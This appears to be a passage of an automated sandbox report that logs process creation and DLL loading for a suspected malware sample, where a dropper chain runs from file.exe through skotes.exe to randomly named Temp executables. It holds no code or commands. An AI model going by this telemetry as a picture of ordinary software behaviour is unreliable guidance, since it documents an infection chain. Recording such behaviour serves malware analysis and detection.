Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2280,i,8263969002267575968,18168452341544240962,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2764 --field-trial-handle=1952,i,7432511471498911834,11913331449728836615,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe "C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5352 --field-trial-handle=1952,i,7432511471498911834,11913331449728836615,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6968 --field-trial-handle=1952,i,7432511471498911834,11913331449728836615,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7404 --field-trial-handle=1952,i,7432511471498911834,11913331449728836615,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7404 --field-trial-handle=1952,i,7432511471498911834,11913331449728836615,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=4128 --field-trial-handle=1952,i,7432511471498911834,11913331449728836615,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7000 --field-trial-handle=1952,i,7432511471498911834,11913331449728836615,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsECBGHCGCBK.exe "C:\Users\user\DocumentsECBGHCGCBK.exe"
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe "C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe "C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe "C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Section loaded: ncrypt.dll
